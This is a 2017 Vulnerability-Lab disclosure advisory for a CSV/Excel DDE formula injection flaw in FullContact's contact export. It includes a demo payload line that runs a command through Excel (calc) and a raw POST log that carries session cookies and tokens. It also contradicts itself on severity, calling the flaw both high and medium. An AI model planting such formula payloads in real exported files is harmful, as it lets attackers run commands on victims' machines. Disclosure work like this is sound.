Document Title: =============== FullContact BB #2 - CSV Excel Macro Injection Vulnerability Date: ===== 2017-01-19 References: =========== http://www.vulnerability-lab.com/get_content.php?id=1904 VL-ID: ===== 1904 Common Vulnerability Scoring System: ==================================== 3.7 Introduction: ============= FullContact is the most powerful fully-connected contact management platform for professionals and enterprises who need to master their contacts and be awesome with people. FullContact’s cross-platform suite of Apps and APIs enhance contacts with 360-degree insights, while keeping them organized, in-sync, up-to-date, and safe. (Copy of the Vendor Homepage: https://www.fullcontact.com/about/ ) Abstract: ========= The vulnerability laboratory core research team discovered a cvs excel macro injection vulnerability in the official FullContact web-application. Report-Timeline: ================ 2016-05-06: Researcher Notification & Coordination (Saif Ben Massoudi - Evolution Security GmbH) 2016-05-04: Vendor Notification (FullContact Security Team) 2016-06-13: Vendor Response/Feedback (FullContact Security Team) 2016-06-15: Vendor Fix/Patch (FullContact Service Developer Team) 2016-07-01 Security Acknowledgements (FullContact Security Team) 2017-01-19: Public Disclosure (Vulnerability Laboratory) Status: ======== Published Affected Products: ================== FullContact Product: FullContact - CSV Export Contacts (Web-Application) v2016 Q3 Exploitation-Technique: ======================= Remote Severity: ========= Medium Details: ======== A code injection web vulnerability has been discovered in the official FullContact online service web-application. The vulnerability allows remote attackers to send malicious csv files by usage of the Microsoft Excel DDE function. Exploitation of the csv excel macro injection vulnerability in export contact (outlook csv format) allows remote attackers to launch arbritary commands on the victims system. The code is get embed to the context of the csv file that executes the malicious context of a potential local or remote attacker. The security risk of the issue is estimated as high with a cvss (common vulnerability scoring system) count of 3.7. Exploitation of the vulnerability requires no privileged web-application user accounts and only low user interaction. Successful exploitation of the vulnerability results in embed execution of system specific code via malicious csv file to compromise session date or to execute system specific malicious office macro codes. Request Method(s): [+] POST Vulnerable Service(s): [+] app.fullcontact.com Vulnerable Module(s): [+] /data/exportContacts Proof of Concept: ================= The cvs code inject web vulnerability can be exploited by local and remote attackers with low user interaction. For security demonstration or to reproduce the issue follow the provided information and steps below to continue. --- Payload For Demo (Open Calculator) --- =cmd|' /C calc'!A0 PoC: Exploitation --- PoC Session Logs [POST] --- Host: app.fullcontact.com User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:47.0) Gecko/20100101 Firefox/47.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://app.fullcontact.com/ Cookie: sails.sid=s%3AhnUMzqru9XRKPQ2TY9521iVy.%2Bx4RVSauQMzNk3Uv6v7Oa%2Fc%2FiXShGg5bPtCnh8RJS38; _fc_tok=3265c18d9692c2bd907c6cd2bff8c9c388d2b1f7; _fc_uv=ocyLz4cpGdX%252FAtroBdbsF7I0oawTiJWZO8KIlKHtul3poEjCOVclJv4pqwj9r9ZyHnSgo2N4N72UP51qgDo8Fl%252BVEhdjMkm0kbzrKPkJmYZo8rudBxErhGmI7zfUjza4Mc0xNdPpymKlOXYyJAHsEL2LQngR4JVwxIpCj643fu8%253D; _ga=GA1.2.172885891.1471062595; _gat=1; SnapABugRef=https%3A%2F%2Fapp.fullcontact.com%2F%20https%3A%2F%2Faccounts.google.com%2Fsignin%2Fchallenge%2Fsl%2Fpassword; SnapABugHistory=1#; SnapABugVisit=1#1471062596; optimizelyEndUserId=oeu1471062596232r0.08574373953651326; optimizelySegments=%7B%22298588916%22%3A%22ff%22%2C%22298732921%22%3A%22referral%22%2C%22298816152%22%3A%22false%22%7D; optimizelyBuckets=%7B%7D; __uvt=; _hp2_ses_props.1605541862=%7B%22r%22%3A%22https%3A%2F%2Faccounts.google.com%2Fsignin%2Fchallenge%2Fsl%2Fpassword%22%2C%22ts%22%3A1471062596299%2C%22d%22%3A%22app.fullcontact.com%22%2C%22h%22%3A%22%2F%22%7D; _hp2_id.1605541862=0604888091875533.8931973786322616.8482250678156272; ajs_user_id=null; ajs_group_id=null; ajs_anonymous_id=%227783f001-b6f9-451a-bd7e-a4441ebf72f8%22; uvts=4uK5uZcqI9HuQ3fL Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 335 q=%7B%22exportType%22%3A%22outlook-csv%22%2C%22selectedIds%22%3A%5B%7B%22addressBookId%22%3A%22835b0c3df7c9b9a69511af5e6be20ba5fb12f9b7%22%2C%22contactId%22%3A%22ac0cd4cf6ce84b84aa1022426bfd0845%22%2C%22etag%22%3A%22fffffea97dd5def9e90b78ca702483849835ae3904cc1d276d758b3c%22%7D%5D%7D&_csrf=UCZ7UFVmQbDOe0vQGR4N7Me0Dw00%2Bs1%2BrRmUA%3D - HTTP/1.1 200 OK Content-Disposition: attachment; filename="FullContact Outlook-CSV of 1 contact at 2016-08-13 04.30.31 GMT.csv" Content-Type: text/csv Date: Sat, 13 Aug 2016 04:30:31 GMT Server: nginx/1.4.6 (Ubuntu) Vary: Accept-Encoding x-frame-options: SAMEORIGIN X-Powered-By: FullContact Connection: keep-alive PoC: Video https://www.youtube.com/watch?v=E4rgEXZTBM4 Risk: ===== The security risk of the csv excel macro injection vulnerability in the official fullcontact web-application is estimated as medium. (CVSS 3.7) Credits: ======== SaifAllah benMassaoud - (http://www.vulnerability-lab.com/show.php?user=SaifAllahbenMassaoud) Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. 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